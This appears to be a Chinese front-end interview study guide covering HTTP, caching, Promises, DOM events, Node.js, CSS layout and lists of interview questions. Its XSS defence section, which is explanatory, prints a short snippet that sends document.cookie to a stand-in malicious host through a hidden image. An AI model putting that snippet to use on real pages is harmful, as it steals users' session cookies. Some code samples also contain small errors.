keep-alive使客户端到服务端的连接持久有效，当出现对服务器的后继请求时，keep-alive功能避免了建立或者重新连接

不需要重新建立tcp的三次握手，就是说不释放连接

http1.0默认关闭，http1.1默认启用

优点：更高效，性能更高。因为避免了建立/释放连接的开销

3.http1.0和http1.1区别：

- 缓存处理，在HTTP1.0中主要使用header里的If-Modified-Since，Expires来做为缓存判断的标准，HTTP1.1则引入更多缓存控制策略，例如Entity tag,If-Match,If-None-Match等
- Http1.1支持长连接和请求的流水线（pipeline）处理，在一个TCP连接上可以传送多个HTTP请求和响应，减少了建立和关闭连接的消耗和延迟，默认开启Connection:keep-alive

async和defer

defer 与 async 的相同点是采用并行下载，在下载过程中不会产生阻塞。区别在于执行时机，async 是加载完成后自动执行，而 defer 需要等待页面完成后执行。

说说观察者模式

JS里对观察者模式的实现是通过回调来实现的，，它定义了一种一对多的关系，让多个观察者对象同时监听某一个主题对象

观察者模式：对程序中某一个对象的进行实时的观察，当该对象状态发生改变的时候 进行通知

我们为什么要用观察者模式呢，主要是可以实现松散耦合的代码，什么意思？就是 主体和订阅者之间是相互独立的，其二者可以独立运行。

ES6 module和require/exports/module.exports的区别

ES6 Module 中导入模块的属性或者方法是强绑定的，包括基础类型；而 CommonJS 则是普通的值传递或者引用传递。

CommonJS模块是运行时的，导入导出是通过值的复制来达成的。ES6的模块是静态的，导入导出实际上是建立符号的映射

import必须放在文件最顶部，require不需要；import最终会被babel编译为require

GET,POST,PUT,Delete

1. GET请求会向数据库获取信息，只是用来查询数据，不会修改，增加数据。使用URL传递参数，对所发送的数量有限制，一般在2000字符
2. POST向服务器发送数据，会改变数据的种类等资源，就像insert操作一样，会创建新的内容，大小一般没有限制，POST安全性高，POST不会被缓存
3. PUT请求就像数据库的update操作一样，用来修改数据内容，不会增加数据种类
4. Delete用来删除操作

GET和POST的区别

1. GET使用URL或Cookie传参，而POST将数据放在BODY中，这个是因为HTTP协议用法的约定。并非它们的本身区别。
2. GET方式提交的数据有长度限制，则POST的数据则可以非常大，这个是因为它们使用的操作系统和浏览器设置的不同引起的区别。也不是GET和POST本身的区别。
3. POST比GET安全，因为数据在地址栏上不可见，这个说法没毛病，但依然不是GET和POST本身的区别。

GET和POST最大的区别主要是GET请求是幂等性的，POST请求不是。（幂等性：对同一URL的多个请求应该返回同样的结果。）因为get请求是幂等的，在网络不好的隧道中会尝试重试。如果用get请求增数据，会有重复操作的风险，而这种重复操作可能会导致副作用

缓存相关

1.浏览器输入 url 之后敲下回车，刷新 F5 与强制刷新(Ctrl + F5)，又有什么区别？

实际上浏览器输入 url 之后敲下回车就是先看本地 cache-control、expires 的情况，刷新(F5)就是忽略先看本地 cache-control、expires 的情况，带上条件 If-None-Match、If-Modified-Since，强制刷新(Ctrl + F5)就是不带条件的访问。

2.etag，cache-control，last-modified

如果比较粗的说先后顺序应该是这样：

- Cache-Control —— 请求服务器之前
- Expires —— 请求服务器之前
- If-None-Match (Etag) —— 请求服务器
- If-Modified-Since (Last-Modified) —— 请求服务器

需要注意的是 如果同时有 etag 和 last-modified 存在，在发送请求的时候会一次性的发送给服务器，没有优先级，服务器会比较这两个信息.

如果expires和cache-control:max-age同时存在，expires会被cache-control 覆盖。

其中Expires和cache-control属于强缓存，last-modified和etag属于协商缓存 强缓存与协商缓存区别：强缓存不发请求到服务器，协商缓存会发请求到服务器。

babel的原理

使用 babylon 解析器对输入的源代码字符串进行解析并生成初始 AST 遍历 AST 树并应用各 transformers（plugin） 生成变换后的 AST 树 利用 babel-generator 将 AST 树输出为转码后的代码字符串 分为三个阶段：

解析：将代码字符串解析成抽象语法树 变换：对抽象语法树进行变换操作 再建：根据变换后的抽象语法树再生成代码字符串

ajax请求和原理

```
var xhr = new XMLHTTPRequest();
// 请求 method 和 URI
xhr.open('GET', url);
// 请求内容
xhr.send();
// 响应状态
xhr.status
// xhr 对象的事件响应
xhr.onreadystatechange = function() {}
xhr.readyState
// 响应内容
xhr.responseText
```

- AJAX的工作原理

Ajax的工作原理相当于在用户和服务器之间加了—个中间层(AJAX引擎),使用户操作与服务器响应异步化。 Ajax的原理简单来说通过XmlHttpRequest对象来向服务器发异步请求，从服务器获得数据，然后用javascript来操作DOM而更新页面。

- ajax优缺点

优点：无刷新更新数据 异步与服务器通信 前后端负载均衡

缺点：

1）ajax干掉了Back和history功能，对浏览器机制的破坏 2）对搜索引擎支持较弱 3）违背了URI和资源定位的初衷

有哪些多屏适配方案

- media query + rem
- flex
- 弹性布局
- flexiable 整体缩放（动态设置缩放系数的方式， 让layout viewport与设计图对应，极大地方便了重构，同时也避免了1px的问题）

从输入URL到页面展现，发生了什么（HTTP请求的过程）

HTTP是一个基于请求与响应，无状态的，应用层的协议，常基于TCP/IP协议传输数据。

1.域名解析，查找缓存

- 查找浏览器缓存（DNS缓存）
- 查找操作系统缓存（如果浏览器缓存没有，浏览器会从hosts文件查找是否有DNS信息）
- 查找路由器缓存
- 查找ISP缓存

2.浏览器获得对应的ip地址后，浏览器与远程 `Web` 服务器通过 `TCP` 三次握手协商来建立一个 `TCP/IP` 连接。 3.TCP/IP连接建立起来后，浏览器就可以向服务器发送HTTP请求 4.服务器处理请求，返回资源（MVC设计模式） 5.浏览器处理（加载，解析，渲染）

- HTML页面加载顺序从上而下
- 解析文档为有意义的结构，DOM树；解析css文件为样式表对象
- 渲染。将DOM树进行可视化表示

6.绘制网页

- 浏览器根据HTML和CSS计算得到渲染数，最终绘制到屏幕上

一个完整HTTP请求的过程为： DNS Resolving -> TCP handshake -> HTTP Request -> Server -> HTTP Response -> TCP shutdown

缓存，存储相关（cookie，web storage和session）

cookie优点： 1.可以解决HTTP无状态的问题，与服务器进行交互 缺点： 1.数量和长度限制，每个域名最多20条，每个cookie长度不能超过4kb 2.安全性问题。容易被人拦截 3.浪费带宽，每次请求新页面，cookie都会被发送过去

cookie和session区别

1.cookie数据存放在客户的浏览器上，session数据放在服务器上。 2.session会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能。考虑到减轻服务器性能方面，应当使用COOKIE。

sessionStorage是当前对话的缓存，浏览器窗口关闭即消失，localStorage持久存在，除非清除浏览器缓存。

页面缓存原理

页面缓存状态是由http header决定的，一个浏览器请求信息，一个是服务器响应信息。主要包括Pragma: no-cache、Cache-Control、 Expires、 Last-Modified、If-Modified-Since。

Promise实现原理

现在回顾下Promise的实现过程，其主要使用了设计模式中的观察者模式：

- 通过 `Promise.prototype.then` 和 `Promise.prototype.catch` 方法将观察者方法注册到被观察者Promise对象中，同时返回一个新的Promise对象，以便可以链式调用。
- 被观察者管理内部pending、fulfilled和rejected的状态转变，同时通过构造函数中传递的resolve和reject方法以主动触发状态转变和通知观察者。

`Promise.then()` 是异步调用的，这也是Promise设计上规定的，其原因在于同步调用和异步调用同时存在会导致混乱。

为了暂停当前的 promise，或者要它等待另一个 promise 完成，只需要简单地在 then() 函数中返回另一个 promise。

Promise 也有一些缺点。首先，无法取消 Promise，一旦新建它就会立即执行，无法中途取消。其次，如果不设置回调函数，Promise 内部抛出的错误，不会反应到外部。第三，当处于 Pending 状态时，无法得知目前进展到哪一个阶段（刚刚开始还是即将完成）。

一般来说，不要在then方法里面定义Reject状态的回调函数（即then的第二个参数），总是使用catch方法，理由是更接近同步的写法。 then的第二个函数参数和catch等价

- Promise.all和Promise.race的区别？

Promise.all 把多个promise实例当成一个promise实例,当这些实例的状态都发生改变时才会返回一个新的promise实例，才会执行then方法。 Promise.race 只要该数组中的 Promise 对象的状态发生变化（无论是resolve还是reject）该方法都会返回。

HTML5相关

websocket

WebSocket 使用ws或wss协议，Websocket是一个持久化的协议，相对于HTTP这种非持久的协议来说。WebSocket API最伟大之处在于服务器和客户端可以在给定的时间范围内的任意时刻，相互推送信息。WebSocket并不限于以Ajax(或XHR)方式通信，因为Ajax技术需要客户端发起请求，而WebSocket服务器和客户端可以彼此相互推送信息；XHR受到域的限制，而WebSocket允许跨域通信。

```
// 创建一个Socket实例
var socket = new WebSocket('ws://localhost:8080');
// 打开Socket
socket.onopen = function(event) {
  // 发送一个初始化消息
```

```
  socket.send('I am the client and I\'m listening!');
  // 监听消息
  socket.onmessage = function(event) {
    console.log('Client received a message',event);
  };
  // 监听Socket的关闭
  socket.onclose = function(event) {
    console.log('Client notified socket has closed',event);
  };
  // 关闭Socket....
  //socket.close()
};
```

HTML5新特性

- 画布(Canvas) API
- 地理(Geolocation) API
- 音频、视频API(audio,video)
- localStorage和sessionStorage
- webworker, websocket
- header,nav,footer,aside,article,section

web worker是运行在浏览器后台的js程序，他不影响主程序的运行，是另开的一个js线程，可以用这个线程执行复杂的数据操作，然后把操作结果通过postMessage传递给主线程，这样在进行复杂且耗时的操作时就不会阻塞主线程了。

网络知识相关

http状态码

301 Moved Permanently 永久重定向，资源已永久分配新的URI 302 Found 临时重定向，资源已临时分配新URI 303 See Other 临时重定向，期望使用GET定向获取

400 (错误请求) 服务器不理解请求的语法。

401 (未授权) 请求要求身份验证。 对于需要登录的网页，服务器可能返回此响应。

403 (禁止) 服务器拒绝请求。

404 (未找到) 服务器找不到请求的网页。

405 (方法禁用) 禁用请求中指定的方法。

500 (服务器内部错误) 服务器遇到错误，无法完成请求。

501 (尚未实施) 服务器不具备完成请求的功能。 例如，服务器无法识别请求方法时可能会返回此代码。

502 (错误网关) 服务器作为网关或代理，从上游服务器收到无效响应。

503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常，这只是暂时状态。

504 (网关超时) 服务器作为网关或代理，但是没有及时从上游服务器收到请求。

http报头有哪些

请求头：

1. Accept
2. Cache-control
3. Host
4. User-agent
5. Accenp-Language

响应头：

1. Cache-Control:max-age 避免了服务端和客户端时间不一致的问题。
2. content-type
3. Date

4. Expires
5. Last-Modified 标记此文件在服务期端最后被修改的时间

httpOnly 设置cookie是否能通过 js 去访问。在客户端是不能通过js代码去设置一个`httpOnly`类型的cookie的，这种类型的cookie只能通过服务端来设置。在发生跨域时，cookie 作为一种 credential 信息是不会被传送到服务端的。必须要进行额外设置才可以。

代理和反向代理

正向代理： 用浏览器访问时，被残忍的block，于是你可以在国外搭建一台代理服务器，让代理帮我去请求google.com，代理把请求返回的相应结构再返回给我。

反向代理：反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器，用来做负载均衡。 正向代理的对象是客户端，反向代理的对象是服务端

CDN工作原理

CDN做了两件事，一是让用户访问最近的节点，二是从缓存或者源站获取资源

CDN的工作原理：通过dns服务器来实现优质节点的选择，通过缓存来减少源站的压力。

网络优化/性能优化

使用CDN，让用户访问最近的资源，减少来回传输时间 合并压缩CSS、js、图片、静态资源，服务器开启GZIP css放顶部，js放底部（css可以并行下载，而js加载之后会造成阻塞） 图片预加载和首屏图片之外的做懒加载 做HTTP缓存（添加Expires头和配置Etag）用户可以重复使用本地缓存，减少对服务器压力 大小超过 10KB 的 css/img 建议外联引用，以细化缓存粒度 小于 10k 的图片 base64 DNS 预解析 DNS-Prefetch 预连接 Preconnect

- 代码层面优化

少用全局变量，减少作用域链查找，缓存DOM查找结果，避免使用with（with会创建自己的作用域，会增加作用域链长度）；多个变量声明合并；减少DOM操作次数；尽量避免在HTML标签中写style属性

避免使用css3渐变阴影效果，尽量使用css3动画，开启硬件加速，不滥用float；避免使用CSS表达式；使用`<link>`来代替`@import`

- 图片预加载原理

提前加载图片，当用户需要查看时可直接从本地缓存中渲染

```
var imgArr=["1.jpg","2.jpg"];
loadImage(imgArr,callback);
function loadImage(imgArr, callback) {
    var imgNum=imgArr.length,count=0;
    for(var i=0;i<imgNum;i++){
      var img = new Image(); //创建一个Image对象，实现图片的预下载
      img.src = imgArr[i];
      if (img.complete) { // 如果图片已经存在于浏览器缓存，直接调用回调函数
          if(count==imgNum){
          callback();// 直接返回，不用再处理onload事件
        }
 } count++; img.onload=function () { if(count==imgNum){ callback(); } } }//for循环结束}
```

说说TCP传输的三次握手四次挥手策略

为了准确无误地把数据送达目标处，TCP协议采用了三次握手策略。用TCP协议把数据包送出去后，TCP不会对传送 后的情况置之不理，它一定会向对方确认是否成功送达。握手过程中使用了TCP的标志：SYN和ACK。

发送端首先发送一个带SYN标志的数据包给对方。接收端收到后，回传一个带有SYN/ACK标志的数据包以示传达确认信息。 最后，发送端再回传一个带ACK标志的数据包，代表"握手"结束。 若在握手过程中某个阶段莫名中断，TCP协议会再次以相同的顺序发送相同的数据包。

原生DOM操作和事件相关

- 如需替换 HTML DOM 中的元素，请使用`replaceChild(newnode,oldnode)`方法
- 从父元素中删除子元素`parent.removeChild(child)`；
- `insertBefore(newItem,existingItem)`在指定的已有子节点之前插入新的子节点

- `appendChild(newListItem` 向元素添加新的子节点，作为最后一个子节点 document.documentElement - 全部文档 document.body - 文档的主体

http://www.w3school.com.cn/jsref/dom_obj_all.asp

- JS事件：target与currentTarget区别

target在事件流的目标阶段；currentTarget在事件流的捕获，目标及冒泡阶段。只有当事件流处在目标阶段的时候，两个的指向才是一样的， 而当处于捕获和冒泡阶段的时候，target指向被单击的对象而currentTarget指向当前事件活动的对象（一般为父级）。

事件模型

事件捕捉阶段：事件开始由顶层对象触发，然后逐级向下传播，直到目标的元素； 处于目标阶段：处在绑定事件的元素上；事件冒泡阶段：事件由具体的元素先接收，然后逐级向上传播，直到不具体的元素；

- 阻止 冒泡 / 捕获 `event.stopPropagation()` 和IE的 `event.cancelBubble=true`
- DOM事件绑定 1.绑定事件监听函数：addEventListener和attchEvent 2.在JavaScript代码中绑定：获取DOM元素 `dom.onlick = fn` 3.在DOM元素中直接绑定：`<div onclick = 'fn()'>`

DOM事件流包括三个阶段：事件捕获阶段、处于目标阶段、事件冒泡阶段。首先发生的事件捕获，为截获事件提供机会。然后是实际的目标接受事件。最后一个阶段是时间冒泡阶段，可以在这个阶段对事件做出响应。

事件委托

因为事件具有冒泡机制，因此我们可以利用冒泡的原理，把事件加到父级上，触发执行效果。这样做的好处当然就是提高性能了

最重要的是通过 `event.target.nodeName` 判断子元素

```
<div>
    <ul id = "bubble">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>
</div>

   window.onload = function () {
        var aUl = document.getElementsById("bubble");
        var aLi = aUl.getElementsByTagName("li");

        //不管在哪个事件中，只要你操作的那个元素就是事件源。
        // ie: window.event.srcElement
        // 标准下:event.target
        aUl.onmouseover = function (ev) {
            var ev = ev || window.event;
            var target = ev.target || ev.srcElement;

            if(target.nodeName.toLowerCase() == "li"){
                target.style.background = "blue";
            }
        };
   };
```

首屏优化

再回到前端渲染遇到首屏渲染问题，除了同构就没有其它解法了吗？总结以下可以通过以下三步解决

分拆打包 现在流行的路由库如 react-router 对分拆打包都有很好的支持。可以按照页面对包进行分拆，并在页面切换时加上一些 loading 和 transition 效果。

1.首屏内容最好做到静态缓存 2.首屏内联css渲染 3.图片懒加载 4.服务端渲染，首屏渲染速度更快（重点），无需等待js文件下载执行的过程 5.交互优化（使用加载占位器，在白屏无法避免的时候，为了解决等待加载过程中白屏或者界面闪烁） 6.图片尺寸大小控制

前端渲染的优势

- 局部刷新。无需每次都进行完整页面请求
- 懒加载。如在页面初始时只加载可视区域内的数据，滚动后rp加载其它数据，可以通过 react-lazyload 实现
- 富交互。使用 JS 实现各种酷炫效果
- 节约服务器成本。省电省钱，JS 支持 CDN 部署，且部署极其简单，只需要服务器支持静态文件即可
- 天生的关注分离设计。服务器来访问数据库提供接口，JS 只关注数据获取和展现
- JS 一次学习，到处使用。可以用来开发 Web、Serve、Mobile、Desktop 类型的应用

服务端渲染的优势

- 更好的 SEO，由于搜索引擎爬虫抓取工具可以直接查看完全渲染的页面。
- 服务端渲染不需要先下载一堆 js 和 css 后才能看到页面（首屏性能）
- 服务端渲染不用关心浏览器兼容性问题（随意浏览器发展，这个优点逐渐消失）
- 对于电量不给力的手机或平板，减少在客户端的电量消耗很重要

apply, call和bind有什么区别?

参考答案：三者都可以把一个函数应用到其他对象上，call、apply是修改函数的作用域（修改this指向），并且立即执行，而bind是返回了一个新的函数，不是立即执行．apply和call的区别是apply接受数组作为参数，而call是接受逗号分隔的无限多个参数列表，

```
Array.prototype.slice.call(null, args)

function getMax(arr){
  return Math.max.apply(null, arr);
}
//call
function foo() {
  console.log(this);//{id: 42}
}

foo.call({ id: 42 });
```

如果该方法是非严格模式代码中的函数，则null和undefined将替换为全局对象，并且原始值将被包装。 当你调用apply传递给它null时，就像是调用函数而不提供任何对象

XSS和CSRF 防御

XSS和CSRF都属于跨站攻击，XSS是实现CSRF诸多途径中的一条，但不是唯一一条

xss的本质是让对方浏览器执行你插入的js ，来获取cookie等信息；csrf是借用用户的身份，向服务器发送请求

XSS分为存储型和反射型：

- 存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie等
- 反射型XSS，非持久化，需要欺骗用户自己去点击链接才能触发XSS代码。发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS

XSS防范：

1）客户端校验用户输入信息，只允许输入合法的值，其他一概过滤掉，防止客户端输入恶意的js代码被植入到HTML代码中，使得js代码得以执行

- 移除用户上传的DOM属性，如onerror等
- 移除用户上传的style节点，script节点，iframe节点等 2）对用户输入的代码标签进行转换（html encode） 3）对url中的参数进行过滤 4）对动态输出到页面的内容进行HTML编码 5）服务端对敏感的Cookie设置 httpOnly属性，使js脚本不能读取到cookie

6. CSP 即是 Content Security Policy

```
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
```

```
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点，我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这
```

目前很多浏览器都会自身对用户的输入进行判断，检测是否存在攻击字符，比如你上述提到的`<script>`标签，这段脚本很明显就是一段xss攻击向量，因此浏览器会对这段输入进行处理，不同的浏览器处理方式也不一样。可以在浏览器中将这个拦截关闭

跨站请求伪造的过程与防范：

http://www.imooc.com/article/13552

过程：用户小明在你的网站A上面登录了，A返回了一个session ID（使用cookie存储）,小明的浏览器保持着A网站的登录状态，攻击者小强给小明发送了一个链接地址，小明打开了地址的时候，这个页面已经自动的对网站a发送了一个请求，通过使用小明的cookie信息，这样攻击者小强就可以随意更改小明在A上的信息。

1）使用token：服务器随机产生tooken，然后以tooken为秘钥产生一段密文，把token和密文都随cookie交给前端，前端发起请求时把密文和token交给后端，后端对token和密文进行验证，看token能不能生成同样的密文，这样即使黑客拿到了token也无法拿到密文

```
http://www.weibo.cn?follow_uid=123&token=73ksdkfu102
```

2）使用验证码：每一个重要的post提交页面，使用一个验证码，因为第三方网站是无法获得验证码的

3）检测http的头信息refer。Referer记录了请求的来源地址，服务器要做的是验证这个来源地址是否合法

4）涉及敏感操作的请求改为POST请求

Node面试题

- 核心模块：EventEmitter, Stream, FS, Net和全局对象
- 全局对象：process, console, Buffer和exports
- `exports`和`module.exports`区别

`exports`是`module.exports`的一个引用 module.exports 初始值为一个空对象 {}，所以 exports 初始值也是 {} require 引用模块后，返回的是 module.exports 而不是 exports

单线程优点

Node.js依托于v8引擎，都是以单线程为基础的。单线程资源占用小。单线程避免了传统PHP那样频繁创建、切换线程的开销，使执行速度更加迅速

Node.js是如何做到I/O的异步和非阻塞的呢

其实Node在底层访问I/O还是多线程的。Node可以借助livuv来来实现多线程。

如果我们非要让Node.js支持多线程，还是提倡使用官方的做法，利用libuv库来实现。

cluster可以用来让Node.js充分利用多核cpu的性能

并行与并发，进程与线程

并发 (Concurrent) = 2 队列对应 1 咖啡机.

并行 (Parallel) = 2 队列对应 2 咖啡机.

线程是进程下的执行者，一个进程至少会开启一个线程（主线程），也可以开启多个线程。

谈谈Nodejs优缺点

> 优点：

1. 事件驱动，异步编程，占用内存少
2. npm设计得好

> 缺点：

1. Debug 很困难。没有 stack trace，出了问题很难查找问题的原因；
2. 如果设计不好，很容易让代码充满 callback，代码不优雅；
3. 可靠性低；
4. 单进程，单线程，只支持单核CPU，不能充分的利用多核CPU服务器。

美团面试

- 事件循环

浏览器中, js引擎线程会循环从 任务队列 中读取事件并且执行, 这种运行机制称作 Event Loop (事件循环).

每个浏览器环境，至多有一个event loop。 一个event loop可以有1个或多个task queue(任务队列)

先执行同步的代码，然后js会跑去消息队列中执行异步的代码，异步完成后，再轮到回调函数，然后是去下个事件循环中执行setTimeout

它从script(整体代码)开始第一次循环。之后全局上下文进入函数调用栈。直到调用栈清空(只剩全局)，然后执行所有的micro-task。当所有可执行的micro-task执行完毕之后。循环再次从macro-task开始，找到其中一个任务队列执行完毕，然后再执行所有的micro-task，这样一直循环下去。

从规范上来讲，setTimeout有一个4ms的最短时间，也就是说不管你设定多少，反正最少都要间隔4ms才运行里面的回调。而Promise的异步没有这个问题。Promise所在的那个异步队列优先级要高一些 Promise是异步的，是指他的then()和catch()方法，Promise本身还是同步的 Promise的任务会在当前事件循环末尾中执行，而setTimeout中的任务是在下一次事件循环执行

```
//依次输出 12354
setTimeout(function(){
  console.log(4)
  },0);
new Promise(function(resolve){
  console.log(1)
  for( var i=0 ; i<10000 ; i++ ){
    i===9999 && resolve()
  }
  console.log(2)
}).then(function(){
  console.log(5)
});
console.log(3);
```

- xss和csrf
- 事件捕获的应用
- jsx的优点
- webpack loader和plugin区别
- 性能优化
- react和vue的区别
- vue component和指令的区别
- vue组件通信
- box-sizing
- jsonp缺点，为什么不能用POST
- vue-router的实现原理
- es6用了哪些新特性
- cookie和localStorage区别
- git fetch是干嘛的
- 事件代理和冒泡，捕获
- 304是干嘛的 具体，405 504又是干嘛的
- BFC
- 其他（自我介绍，为啥离职，为啥从美团离职，git工作流，code review，单元测试）
- react组件生命周期
- 伪类和伪元素的区别 CSS 伪类：逻辑上存在但在文档树中却无须标识的“幽灵”分类 CSS 伪元素（`:first-letter，:first-line,:after,:before`）代表了某个元素的子元素，这个子元素虽然在逻辑上存在，但却并不实际存在于文档树中。 CSS3标准要求伪元素使用双冒号
- em和rem

饿了么面试

1.什么是类数组对象，如何将类数组对象转为真正的数组

拥有length属性和若干索引属性的对象, 类数组只有索引值和长度，没有数组的各种方法，所以如果要类数组调用数组的方法，就需要使用 Array.prototype.method.call 来实现。

```
var arrayLike = {0: 'name', 1: 'age', 2: 'sex', length: 3 }
// 1. slice
Array.prototype.slice.call(arrayLike); // ["name", "age", "sex"]
// 2. splice
Array.prototype.splice.call(arrayLike, 0); // ["name", "age", "sex"]
// 3. ES6 Array.from
Array.from(arrayLike); // ["name", "age", "sex"]
// 4. apply
Array.prototype.concat.apply([], arrayLike)
```

2.跨域

3.伪元素和伪类

伪类用于当已有元素处于的某个状态时，为其添加对应的样式，这个状态是根据用户行为而动态变化的。

```
a:link
:first-child
:nth-child
:focus
:visited
```

伪元素代表了某个元素的子元素，这个子元素虽然在逻辑上存在，但却并不实际存在于文档树中。

4.bind返回什么

bind() 方法会返回一个新函数, 又叫绑定函数, 当调用这个绑定函数时, 绑定函数会以创建它时传入 bind() 方法的第一个参数作为当前的上下文, 即this, 传入 bind() 方法的第二个及之后的参数加上绑定函数运行时自身的参数按照顺序作为原函数的参数来调用原函数.

```
var x = 8;
var o = {
  x: 10,
  getX: function(){
        console.log(this.x);
  }
};
var f = o.getX;
f();//8, 由于没有绑定执行时的上下文, this默认指向window, 打印了全局变量x的值
var g = f.bind(o);
g();//10, 绑定this后, 成功的打印了o对象的x属性的值.
```

5.git rebase和git merge的区别

merge操作会生成一个新的节点，之前的提交分开显示。而rebase操作不会生成新的节点，是将两个分支融合成一个线性的提交。

6.箭头函数 箭头函数没有它自己的this值，箭头函数内的this值继承自外围作用域

箭头函数不能用作构造器，不能和new一起使用 箭头函数没有原型属性 yield关键字不能在箭头函数使用 在以下场景中不要使用箭头函数去定义：

- 定义对象方法、定义原型方法、定义构造函数、定义事件回调函数。

7.== 和 `===` 的区别

相等运算符在比较相同类型的数据时，与严格相等运算符完全一样。

在比较不同类型的数据时，相等运算符会先将数据进行类型转换，然后再用严格相等运算符比较。

new操作符具体做了什么

1、创建一个空对象，并且this变量引用该对象，同时继承了该函数的原型（实例对象通过`__proto__`属性指向原型对象；`obj.__proto__ = Base.prototype;`）2、属性和方法被加入到 this 引用的对象中。

```
function Animal(name) {
    this.name = name;
}

Animal.prototype.run = function() {
    console.log(this.name + 'can run...');
}

var cat = new Animal('cat');
//模拟过程
new Animal('cat')=function(){
    let obj={};  //创建一个空对象
    obj.__proto__=Animal.prototype;
    //把该对象的原型指向构造函数的原型对象，就建立起原型了：obj->Animal.prototype->Object.prototype->null
    return Animal.call(obj,'cat');// 绑定this到实例化的对象上
}
```

谈谈你对组件的看法

一个组件应该有以下特征：

- 可组合（Composeable）：一个组件易于和其它组件一起使用，或者嵌套在另一个组件内部。如果一个组件内部创建了另一个组件，那么说父组件拥有（own）它创建的子组件，通过这个特性，一个复杂的 UI 可以拆分成多个简单的 UI 组件；
- 可重用（Reusable）：每个组件都是具有独立功能的，它可以被使用在多个 UI 场景；
- 可维护（Maintainable）：每个小的组件仅仅包含自身的逻辑，更容易被理解和维护；
- 可测试（Testable）：因为每个组件都是独立的，那么对于各个组件分别测试显然要比对于整个 UI 进行测试容易的多。

CSS相关

box-sizing盒模型

box-sizing属性主要用来控制元素的盒模型的解析模式。默认值是content-box。

- content-box：让元素维持W3C的标准盒模型。元素的宽度/高度由border + padding + content的宽度/高度决定，设置width/height属性指的是content部分的宽/高
- border-box：让元素维持IE传统盒模型（IE6以下版本和IE6~7的怪异模式）。设置width/height属性指的是border + padding + content
- 应用场景：统一风格的表单元素 表单中有一些input元素其实还是展现的是传统IE盒模型，带有一些默认的样式，而且在不同平台或者浏览器下的表现不一，造成了表单展现的差异。此时我们可以通过box-sizing属性来构建一个风格统一的表单元素。

水平垂直居中的方法

> 行内布局

line-height + text-align vertical-align + text-align

> 块布局

position absolute + margin auto position absolute + negative margin position absolute + translate(-50%, -50%)

父容器子容器不确定宽高的块级元素，做上下居中

1.flex

```
#wrap{
        display:flex;
        justify-content:center;
        align-items:center;
}
```

2.tabel

```
.parent {
   text-align: center;//水平居中
   display: table-cell;
   vertical-align: middle;//垂直居中
}
.child {
    display: inline-block;//防止块级元素宽度独占一行，内联元素可不设置
}
```

3.absolute+transform 水平垂直居中

```
<div class="parent">
  <div class="child">Demo</div>
</div>

<style>
  .parent {
    position: relative;
  }
  .child {
    position: absolute;
    left: 50%;
    top: 50%;
    transform: translate(-50%, -50%);
  }
</style>
```

4.webkit-box

```
//对父级元素设置
position: relative;
display: -webkit-box;
-webkit-box-align: center;
-webkit-box-pack: center;
```

> for detail: https://github.com/hawx1993/tech-blog/issues/12

实现左边定宽右边自适应效果

1.table(父级元素)与tabel-cell（两个子集元素）

2.flex(父级元素)+flex :1（右边子元素）

3.左边定宽，并且左浮动；右边设置距离左边的宽度

4.左边定宽，左边设置position:absolute；右边设置距离左边的宽度

三列布局（中间固定两边自适应宽度）

1. 采用浮动布局（左边左浮动，右边右浮动，中间margin：0 宽度值）
2. 绝对定位方式（左右绝对定位，左边left0右边right0，中间上同）

BFC（Block Formatting Contexts）块级格式化上下文

块格式化上下文（block formatting context）是页面上的一个独立的渲染区域，容器里面的子元素不会在布局上影响到外面的元素。它是决定块盒子的布局及浮动元素相互影响的一个因素。

下列情况将创建一个块格式化上下文：

① float

② overflow

③ display（display为inline-block、table-cell）

④ position（absolute 或 fixed）

BFC的作用

1.清除内部浮动：对子元素设置浮动后，父元素会发生高度塌陷，也就是父元素的高度变为0。解决这个问题，只需要把把父元素变成一个BFC就行了。常用的办法是给父元素设置overflow:hidden。

2.上下margin重合问题，可以通过触发BFC来解决

清除浮动元素的方法和各自的优缺点

清除浮动，实际上是清除父元素的高度塌陷。因为子元素脱离了父元素的文档流，所以，父元素失去了高度，导致了塌陷。要解决这个问题，就是让父元素具有高度。

浮动元素的特性： 在正常布局中位于该浮动元素之下的内容，此时会围绕着浮动元素，填满其右侧的空间。浮动到右侧的元素，其他内容将从左侧环绕它（浮动元素影响的不仅是自己，它会影响周围的元素对其进行环绕。float仍会占据其位置，`position:absolute`不占用页面空间 会有重叠问题 ）

1.在浮动元素末尾添加空标签清除浮动 clear:both （缺点：增加无意义标签）

```
<div style="clear:both;"></div>
```

2.给父元素设置 overflow:auto属性 3.after伪元素

动画

用js来实现动画，我们一般是借助setTimeout或setInterval这两个函数，以及新的requestAnimationFrame

```
<div id="demo" style="position:absolute; width:100px; height:100px; background:#ccc; left:0; top:0;"></div>

<script>
  var demo = document.getElementById('demo');
  function rander(){
    demo.style.left = parseInt(demo.style.left) + 1 + 'px'; //每一帧向右移动1px
  }
  requestAnimationFrame(function(){
    rander();
    //当超过300px后才停止
    if(parseInt(demo.style.left)<=300) requestAnimationFrame(arguments.callee);
  });
</script>
```

css3使用

- @keyframes 结合animation
- transition：property duration timing-function delay

css实现自适应正方形

- 方案一：CSS3 vw 单位
- 方案二：设置垂直方向的padding撑开容器
- 方案三：利用伪元素的 margin(padding)-top 撑开容器

position的值

- absolute :生成绝对定位的元素， 相对于最近一级的 定位不是 static 的父元素来进行定位。
- fixed （老IE不支持）生成绝对定位的元素，通常相对于浏览器窗口或 frame 进行定位。
- relative 生成相对定位的元素，相对于其在普通流中的位置进行定位。
- static 默认值。没有定位，元素出现在正常的流中
- sticky 生成粘性定位的元素，容器的位置根据正常文档流计算得出

Donate